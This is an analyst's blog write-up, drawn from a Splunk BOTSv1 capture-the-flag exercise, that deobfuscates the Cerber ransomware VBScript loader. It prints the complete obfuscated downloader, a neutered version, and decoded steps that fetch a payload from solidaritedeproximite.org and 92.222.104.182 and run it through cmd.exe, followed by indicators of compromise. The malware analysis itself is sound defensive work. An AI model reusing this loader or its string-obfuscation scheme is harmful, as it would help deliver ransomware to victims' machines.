Deobfuscating Cerber ransomware loader

SecuringTheWild
9 min readFeb 13, 2023

This write-up is a part of my on-going journey of learning Splunk, digital forensics and indicent response. The materials were sourced from Splunk’s BOTSv1 Ransomware CTF and my comprehensive write-up of the CTF it’s self can be found here.

The scenario is that the user bob.smith opened a malicious Microsoft Word document, which downloaded the Cerber ransomware to the machine and ended up encrypting files on the beachhead host and on a local server through an SMB share.

Today I am going over the process of deobfuscating the loader script spawned by MS Word. This investigation was done in a sandboxed virtual machine environment and if you were to follow my steps, I don’t recommend downloading any of these malicious scripts to your host device but using a sandbox environment instead.

Malicious batch script launced by a word document

The code above is spawned from the malicious word document, and it creates a randomly named .vbs file in users appdata folder. The script utilizes a batch script to loop through a set of strings representing vbs code and echoing them into the aforementioned .vbs file. This file is then executed via cmd.

To start the deobfuscation process, I decided to fix the encoding on the batch script using CyberChef as follows.

Decoding with CyberChef

As the vbs code seems to be doing all the dirty work here, I wanted to take a more specific look at it. Luckily the part that actually executes the code could easily be found at the end of the script. The ‘&& start "" "!GSI!"’ command executes the .vbs file stored in the environment variable “GSI”.

I removed this command from the script, and let the batch script do it’s thing. This gave me the executable .vbs file that would download and execute the malware, without actually executing it.

DIm RWRL
FuNCtioN GNbiPp(Pt5SZ1)
EYnt=45
GNbiPp=AsC(Pt5SZ1)
Xn1=52
end function
SUb OjrYyD9()
J0Nepq=56
Dim UJv,G4coQ
LT=23
dO WHiLE UJv<>3016-3015
G4coQ=G4coQ+1
WSCRiPt.sLEeP(11)
LoOP
UsZK0=85
end sub
fuNctIon J7(BLI4A3)
K5AU=29
J7=cHR(BLI4A3)
XBNutM9=36
end function
SUb MA(QrG)
WXCzRz=9
Dim Jw
Qt7=34
Jw=TIMeR+QrG
Do WhiLE tIMEr<Jw
WSCRipT.sleEP(6)
LOOp
EXdkRkH=78
end sub
fUnCTion M1p67jL(BwqIM7,Qa)
Yi=80
dIM KH,ChnFY,RX,Pg,C6YT(8)
Cm=7
C6YT(1)=107
Rzf=58
C6YT(5)=115
BSKoW=10
C6YT(4)=56
Cwd6=35
C6YT(7)=110
AQ=98
C6YT(6)=100
Y6Cm1I=82
C6YT(2)=103
JH3F2i=74
C6YT(8)=119
JRvsG2s=76
C6YT(3)=53
Yh=31
C6YT(0)=115
GuvD=47
Tbvf1=67
SeT KH=cReATeObject(A9y("3C3A1D301F2D063708772930033C3C201C2D0A34203B053C0C2D", "Yo"))
V2JR=73
Set ChnFY=KH.GETfilE(BwqIM7)
RGeJ=68
SeT Pg=ChnFY.opEnASTExTstReAM(6806-6805,7273-7273)
CtxOk=82
seT RX=KH.cREateteXtFiLe(Qa,6566-6565,2508-2508)
XPL9af=76
Do uNtil Pg.aTEnDOfStReam
RX.wRitE J7(OyVNo(GNbiPp(Pg.rEAD(6633-6632)),C6YT(0)))
LooP
IQz=49
RX.cloSe
CBR1gC7=51
Pg.cLOSE
PmG=64
end function
FUNcTION Ql9zEF()
IBL2=16
Ql9zEF=secoND(Time)
MUTkPNJ=41
end function
FUnCtion A9y(Am,T1GCbB)
CWCH9r=82
Dim V3sl0m,F4ra,AxFE
RLLp8R=89
For V3sl0m=1 To (lEn(Am)/2)
F4ra=(J7((8270-8232)) & J7((5328/74))&(miD(Am,(V3sl0m+V3sl0m)-1,2)))
AxFE=(GNbiPp(mID(T1GCbB,((V3sl0m MOd Len(T1GCbB))+1),1)))
A9y=A9y+J7(OyVNo(F4ra,AxFE))
NeXT
DxZ40=89
end function
Sub AylniN()
N6nzb=92
DIm GWJCk,Q3y,GKasG0
FDu=47
GWJCk=93961822
UZ=32
FoR Q3y=1 To GWJCk
GKasG0=GKasG0+1
neXt
B1jq2Hk=63
If GKasG0=GWJCk tHen
KXso=18
MA((-176+446))
IP4=48
Yq(A9y("0B3B1D44626E7E1020055D3C20230A3B0C503D31230C3700593135344D201B53772C39173D475E2826","QcOi4XA"))
YTsWy=31
elSe
DO5gpmA=84
A8=86
EnD iF
XyUP=64
end sub
sUB GKfD3aY(FaddNPJ)
SDU0BLq=57
DiM UPhqZ,KbcT
DxejPK=88
KbcT="Drn4AW"
GROlc7=82
sET UPhqZ=CREAteOBJecT(A9y("332A7B05156A211A46243629",KbcT))
Gs0g=3
UPhqZ.OpEn
TF1=68
UPhqZ.tyPE=6867-6866
RDjmY=24
UPhqZ.wrITe FaddNPJ
WiFgvS=78
UPhqZ.SaVeTOfIle RWRL,8725-8723
AF=4
UPhqZ.closE
JC7sf2=1
Cke4e
JM=88
end sub
fuNCtIoN Yq(PDqi1)
I0=22
DiM YTwwO,BAU7Cz,Uv,JiYwVG,IK
GJDnbE=32
On ErrOR reSume NeXT
B7bT=1
Uv="Tk"
ELw=73
sEt YTwwO=CREaTeObjeCT(A9y("3C07082602241F7A383C0E3807",Uv))
K4=62
GAiF
IS1cj=19
Set Dzc0=YTwwO.eNVIrONMEnt(A9y("013B183400023A","EQiWw"))
D9S=38
RWRL=Dzc0(A9y("14630811720C14","XU3"))&J7((8002-7910))& Ql9zEF & Ql9zEF
AtCQ=95
JiYwVG="FcQqQ"
Tf=79
sEt BAU7Cz=CrEATEoBjECT(A9y("2E38122329103E1725683B1C3D19123701",JiYwVG))
QUY=56
BAU7Cz.OpeN A9y("0D0E1E","KJ"),PDqi1,7387-7387
JX2=58
BAU7Cz.SeTReQuEstHeAdeR A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF")
URkT=71
BAU7Cz.SEnD()
QdFeA6=65
if BAU7Cz.StaTUstExt=A9y("652840353A542512023C5B3D572F27","S5I2A") then
PwTLW23=36
GAiF
R4xYBS=63
MA(4)
PjL6m=46
GKfD3aY BAU7Cz.ReSpONSEbody
Fj98=72
Else
D7T=91
IK="NNXFD0"
NK=74
SeT BAU7Cz= CreATeobJECT(A9y("033125365F3D213E326A68030210121060",IK))
QJ=35
BAU7Cz.oPeN A9y("2A2F0E","TmjZ8d"),A9y("07351B31556E40785D6F5D735D6F5E715B6F5E795D6E02291B33412B1F26","Ao" ),5022-5022
UMp8=85
BAU7Cz.SeTReqUesTheadER A9y("1439190A24","AFXwm"),A9y("371038301A716C5F7B6644","LUi")
NluUc=93
BAU7Cz.SENd()
EOtR=44
If BAU7Cz.STaTUSTexT=A9y("03510A3B3A51146F105F163B365E0C","OS0x") THen GKfD3aY BAU7Cz.REsPOnSeBODY
Q6sMEZ=54
I9Nl7=56
end if
Dq=54
end function
fUNctIon OyVNo(U1,Brt0d)
SNOW=59
OyVNo=(U1 ANd noT Brt0d)oR(NOt U1 And Brt0d)
QTi5K=54
end function
Sub Cke4e()
WTOyAw=62
dIM EuM,WIbud,NCiN,Fs8HJ
A5AT=92
NCiN=""""
SX6=93
WIbud=RWRL & Ql9zEF & A9y("4A330F3F","WdGbOGp")
V5B7Zh=92
M1p67jL RWRL,WIbud
L13=45
iF Fs8HJ="" tHen MA(4)
CHaK=38
EuM="Iqxkf"
U56m=67
SEt VP=creATeoBJEcT(A9y("262B081420010C453521141407",EuM))
U5Quw=85
VP.Run A9y("1023287B163629755C0D6C06270F1E01536C6E7551","UsNL") & WIbud & NCiN,2912-2912,5755-5755
A6mfcYL=76
end sub
JoxZ3=43
AylniN
suB GAiF()
G4vzM=95
Dim DCRml9g, CjoNOY9
For DCRml9g = 68 To 6000327
CjoNOY9 = Rvwr + 23 + 35 + 27
Next
KK0H=46
end sub

At least in my opinion, the vbs code above is not the most readable thing ever and in order to start to digest it, I wanted to be able to find the starting point of the script.

In Visua Studio Code I could use regex to find all of the functions and subroutines.

Function\s\w+\(.*?\)\n(.*\n)+?End Function
Sub\s\w+\(.*?\)\n(.*\n)+?End sub

I then selected all of the results and cut them into another file. This left the original file almost empty with just 2 global variables and one subroutine call. This way I could find that the staring point of the script is the subroutine “AylniN”. From the global variables, the first one, “RWRL” ended up being integral for the code execution, so it was also copied to the new file. The other one was never called and was just a obfuscation tactique. Unused variables are used often by adversaries in an attempt to obfuscate scripts. At this point I removed all unused variables from the script as there were almost 100 of them and they were quite distracting.

Now I wanted to diferentiate where a subroutine or a function begins and where it ends. I achieved this by using VS Code’s “find and replace” tool by adding a new line character “\n” after every “end function” and “end sub”.

While the code was still obfuscated, I now could start to investigate it further and try to find which functions and subroutines were actually important.

After looking at the code, I could see that the function “Yq” seemed to be creating HTTP requests. I also noticed that the function A9y was used suspiciously and often.

In VBScript, when creating a HTTP request, it is done with the following syntax.

Set HTTP_Object = CreateObject("MSXML2.XMLHTTP")
HTTP_Object.open "GET", "http://www.example.com", False
HTTP_Object.send()

And in function “Yq” I could see code lines such as:

sEt BAU7Cz=CrEATEoBjECT(A9y("2E38122329103E1725683B1C3D19123701",JiYwVG))
BAU7Cz.OpeN A9y("0D0E1E","KJ"),PDqi1,7387-7387
BAU7Cz.SeTReQuEstHeAdeR A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF")
BAU7Cz.SEnD()

This told me 2 things, firstly, these certainly are requests in one protocol or another (probably HTTP) and that the function A9y is returning human readable text as it is required by the functions used in creating the requests.

FUnCtion A9y(Am,T1GCbB)
Dim V3sl0m,F4ra,AxFE
For V3sl0m=1 To (lEn(Am)/2)
F4ra=(J7((8270-8232)) & J7((5328/74))&(miD(Am,(V3sl0m+V3sl0m)-1,2)))
AxFE=(GNbiPp(mID(T1GCbB,((V3sl0m MOd Len(T1GCbB))+1),1)))
A9y=A9y+J7(OyVNo(F4ra,AxFE))
NeXT
end function

A9y takes 2 arguments and loops through them, concatenating ANSI characters and selected parts of the input parameters to eventually end up with human-readable strings. All of the functions that A9y is calling can be found below with quick explanations of what the function is doing.

fuNctIon J7(BLI4A3)
J7=cHR(BLI4A3)
end function

J7 function converts the specified ANSI character code to a ASCII character which is then returned.

FuNCtioN GNbiPp(Pt5SZ1)
GNbiPp=AsC(Pt5SZ1)
end function

The GNbiPp function converts the first character in a string to ANSI code, and returns the result.

fUNctIon OyVNo(U1,Brt0d)
OyVNo=(U1 ANd noT Brt0d)oR(NOt U1 And Brt0d)
end function

The function OyVNo is the equivalent of an XOR operation, where the result is true if either U1 or Brt0d is true, but not both. The function returns the result of this operation.

None of the functions called by A9y are actively trying to harm the host system, so I left them as is and continued my investigation.

Now that I had found the functions responsible for deobfuscating the strings in the code, I had a decision to make. I could:

  1. Reverse engineer the deobfuscation functions in order to figure out what the obfuscated strings contain.
  2. Make a new srcipt only containing references to A9y and its subroutines and writing them to a txt file.
  3. Render the script harmless by letting it only write the the commands to a txt file instead of executing them.

I ended up choosing option 3.

This meant that in order to render the script harmless, I would need to find all important parts of the code and write them to a txt file. From examining the code before, I had already recognized that the function “Yq” was the most important part of the script, so it was where I started my editing.

I used a combination of VS Code’s “find and replace” tool, formating options and manual editing of the file and in the end, my script ended up looking like this:

Set deob_file = cReATeObject("Scripting.FileSystemObject").OpenTextFile("C:\Users\User\Desktop\Deobfuscated.txt", 8)
deob_file.WriteLine("Dim RWRL")

FuNCtioN GNbiPp(Pt5SZ1)
GNbiPp=AsC(Pt5SZ1)
end function

fuNctIon J7(BLI4A3)
J7=cHR(BLI4A3)
end function

fUnCTion M1p67jL(BwqIM7,filename)
dIM KH,ChnFY,RX,Pg,C6YT(8)
C6YT(1)=107
C6YT(5)=115
C6YT(4)=56
C6YT(7)=110
C6YT(6)=100
C6YT(2)=103
C6YT(8)=119
C6YT(3)=53
C6YT(0)=115
deob_file.WriteLine("SeT KH=cReATeObject(" & A9y("3C3A1D301F2D063708772930033C3C201C2D0A34203B053C0C2D", "Yo") & ")")
deob_file.WriteLine("Set ChnFY=KH.GETfilE(" & BwqIM7 & ")")
deob_file.WriteLine("SeT Pg=ChnFY.opEnASTExTstReAM(" &6806-6805 & "," & 7273-7273 & ")")
deob_file.WriteLine("seT RX=KH.cREateteXtFiLe(" & filename & "," & 6566-6565 & "," & 2508-2508 & ")")
deob_file.WriteLine("Do uNtil Pg.aTEnDOfStReam")
deob_file.WriteLine("RX.wRitE " & J7(OyVNo(GNbiPp("Pg.rEAD(6633-6632)"),C6YT(0))))
deob_file.WriteLine("LooP")
deob_file.WriteLine("RX.cloSe")
deob_file.WriteLine("Pg.cLOSE")
end function

FUNcTION Ql9zEF()
Ql9zEF=secoND(Time)
end function

FUnCtion A9y(Am,T1GCbB)
Dim V3sl0m,F4ra,AxFE
For V3sl0m=1 To (lEn(Am)/2)
F4ra=(J7((8270-8232)) & J7((5328/74))&(miD(Am,(V3sl0m+V3sl0m)-1,2)))
AxFE=(GNbiPp(mID(T1GCbB,((V3sl0m MOd Len(T1GCbB))+1),1)))
A9y=A9y+J7(OyVNo(F4ra,AxFE))
NeXT
end function

fuNCtIoN Yq(PDqi1)
DiM YTwwO,BAU7Cz,Uv,JiYwVG,IK
deob_file.WriteLine("On ErrOR reSume NeXT")
Uv="Tk"
deob_file.WriteLine("sEt YTwwO=CREaTeObjeCT(" & A9y("3C07082602241F7A383C0E3807",Uv) & ")")
GAiF
deob_file.WriteLine("Set Dzc0=YTwwO.eNVIrONMEnt(" & A9y("013B183400023A","EQiWw") & ")")
deob_file.WriteLine("RWRL=Dzc0(" & A9y("14630811720C14","XU3") & ") & " & J7((8002-7910)) & " & " & Ql9zEF & " & " & Ql9zEF)
JiYwVG="FcQqQ"
deob_file.WriteLine("sEt BAU7Cz=CrEATEoBjECT(" & A9y("2E38122329103E1725683B1C3D19123701",JiYwVG) & ")")
deob_file.WriteLine("BAU7Cz.OpeN " & A9y("0D0E1E","KJ") & "," & PDqi1 & "," & 7387-7387)
deob_file.WriteLine("BAU7Cz.SeTReQuEstHeAdeR " & A9y("1F59242828","OM8J") & "," & A9y("0D354C3D356B567A0F6B6B","VoL8XF"))
deob_file.WriteLine("BAU7Cz.SEnD()")
deob_file.WriteLine("if BAU7Cz.StaTUstExt=" & A9y("652840353A542512023C5B3D572F27","S5I2A") & " then")
GAiF
MA(4)
GKfD3aY "BAU7Cz.ReSpONSEbody"
deob_file.WriteLine("Else")
IK="NNXFD0"
deob_file.WriteLine("SeT BAU7Cz= CreATeobJECT(" & A9y("033125365F3D213E326A68030210121060",IK) & ")")
deob_file.WriteLine("BAU7Cz.oPeN " & A9y("2A2F0E","TmjZ8d") & "," & A9y("07351B31556E40785D6F5D735D6F5E715B6F5E795D6E02291B33412B1F26","Ao" ) & "," & 5022-5022)
deob_file.WriteLine("BAU7Cz.SeTReqUesTheadER " & A9y("1439190A24","AFXwm") & "," & A9y("371038301A716C5F7B6644","LUi"))
deob_file.WriteLine("BAU7Cz.SENd()")
deob_file.WriteLine("If BAU7Cz.STaTUSTexT=" & A9y("03510A3B3A51146F105F163B365E0C","OS0x") & " THen " & "GKfD3aY BAU7Cz.REsPOnSeBODY")
deob_file.WriteLine("end if")
end function

fUNctIon OyVNo(U1,Brt0d)
OyVNo=(U1 ANd noT Brt0d)oR(NOt U1 And Brt0d)
end function


SUb OjrYyD9()
Dim UJv,G4coQ
dO WHiLE UJv<>3016-3015
deob_file.WriteLine("Sleep For a Period of time 11ms at a time")
Loop
end sub

SUb MA(QrG)
Dim Jw
Jw=TIMeR+QrG
Do WhiLE tIMEr<Jw
deob_file.WriteLine("Sleep For a Period of time 6ms at a time")
Loop
end sub

Sub AylniN()
DIm GWJCk,Q3y,GKasG0
GWJCk=93961822
FoR Q3y=1 To GWJCk
GKasG0=GKasG0+1
neXt
If GKasG0=GWJCk tHen
MA((-176+446))
Yq(A9y("0B3B1D44626E7E1020055D3C20230A3B0C503D31230C3700593135344D201B53772C39173D475E2826","QcOi4XA"))
elSe
A8=86
EnD iF
end sub

sUB GKfD3aY(FaddNPJ)
DiM UPhqZ,KbcT
KbcT="Drn4AW"
deob_file.WriteLine("sET UPhqZ=CREAteOBJecT(" & A9y("332A7B05156A211A46243629",KbcT) & ")")
deob_file.WriteLine("UPhqZ.OpEn")
deob_file.WriteLine("UPhqZ.tyPE=" & 6867-6866)
deob_file.WriteLine("UPhqZ.wrITe " & FaddNPJ)
deob_file.WriteLine("UPhqZ.SaVeTOfIle RWRL,8725-8723")
deob_file.WriteLine("UPhqZ.closE")
Cke4e
end sub

Sub Cke4e()
dIM EuM,WIbud,NCiN,Fs8HJ
NCiN=""""
WIbud=RWRL & Ql9zEF & A9y("4A330F3F","WdGbOGp")
M1p67jL RWRL,WIbud
iF Fs8HJ="" tHen MA(4)
EuM="Iqxkf"
deob_file.WriteLine("SEt VP=creATeoBJEcT(" & A9y("262B081420010C453521141407",EuM) & ")")
deob_file.WriteLine("VP.Run " & A9y("1023287B163629755C0D6C06270F1E01536C6E7551","UsNL") & " & " & WIbud & " & " & NCiN & "," & 2912-2912 & "," & 5755-5755)

end sub

suB GAiF()
Dim DCRml9g, CjoNOY9
For DCRml9g = 68 To 6000327
CjoNOY9 = Rvwr + 23 + 35 + 27
deob_file.WriteLine("Waste time with pointless calculations")
Next
end sub

AylniN
deob_file.Close

Now that i had neutered the script and I was confident enough that it was no longer operational, I could run it on my virtual machine. This is what I got after slightly editing the output and adding some comments.

dim rwrl
'<--Sleep for a period of time-->'
on error resume next
set ytwwo=createobject(wscript.shell)
set dzc0=ytwwo.environment(process)
'Assign value C:\Users\User\AppData\Roaming\2121 to variable rwrl'
rwrl=dzc0(appdata) & "\" & 21 & 21
set bau7cz=createobject(microsoft.xmlhttp)
bau7cz.open get,http://solidaritedeproximite.org/mhtr.jpg,0
bau7cz.setrequestheader range,bytes=9673-
bau7cz.send()
if bau7cz.statustext=partial content then
'Sleep for a period of time'
set uphqz=createobject(adodb.stream)
uphqz.open
uphqz.type=1
uphqz.write bau7cz.responsebody
'Save http response to C:\Users\User\AppData\Roaming\2121'
uphqz.savetofile rwrl,8725-8723
uphqz.close
set kh=createobject(scripting.filesystemobject)
set chnfy=kh.getfile("C:\Users\User\AppData\Roaming\2121")
set pg=chnfy.openastextstream(1,0)
set rx=kh.createtextfile(21.tmp,1,0)
do until pg.atendofstream
'Writes the malware to file 21.tmp'
rx.write ####
loop
rx.close
pg.close
'<--Sleep for a period of time-->'
set vp=createobject(wscript.shell)
vp.run cmd.exe /c start "" " & 21.tmp & ",0,0
else
set bau7cz= createobject(microsoft.xmlhttp)
bau7cz.open get,http://92.222.104.182/mhtr.jpg,0
bau7cz.setrequestheader range,bytes=9673-
bau7cz.send()
if bau7cz.statustext=partial content then
'<--Sleep for a period of time-->'
set uphqz=createobject(adodb.stream)
uphqz.open
uphqz.type=1
uphqz.write bau7cz.responsebody
'Save http response to C:\Users\User\AppData\Roaming\2121'
uphqz.savetofile rwrl,8725-8723
uphqz.close
set kh=createobject(scripting.filesystemobject)
set chnfy=kh.getfile("C:\Users\User\AppData\Roaming\2121")
set pg=chnfy.openastextstream(1,0)
set rx=kh.createtextfile(21.tmp,1,0)
do until pg.atendofstream
'Writes the malware to file 21.tmp'
rx.write ###
loop
rx.close
pg.close
'<--Sleep for a period of time-->'
set vp=createobject(wscript.shell)
'Executes file 21.tmp with cmd.exe'
vp.run cmd.exe /c start "" " & 21.tmp & ",0,0
end if

While this code is not 100% syntaxically correct and it is lacking the logic that is supposed to actually write the malware to the .tmp file. It does demonstrate what the malicious code is doing at a high level. It is also giving us some indicators of compromise to ingest into our defensive tools.

Even though this example is from 2016, and the IOC’s collected here are not that relevant anymore, It is still good practice to collect all IOC’s that you find. The c&c infrastructure has also been taken down a long time ago for this strand of Cerber ransomware.

From this script I got 3 IOC’s.

  • solidaritedeproximite[.]org
  • 92.222.104[.]182
  • mhtr.jpg

Interestingly, the .tmp file that ends up containing the actual malware is named dynamically based on the second of the current minute when it was executed on. This is handled by the Function Ql9zEF

FUNcTION Ql9zEF()
Ql9zEF=secoND(Time)
end function

That’s it for this time. I learned a huge ammount of new information and cannot wait to get to analysing more malware. If you have some good resources for similar things, feel free to drop them in the comments down below for us all to see and learn from.

Till next time!

--

--

SecuringTheWild

I'm a 26 year old SOC analyst, who has set out on a journey to continuously learn about Digital Forensics, Incident Response and so much more.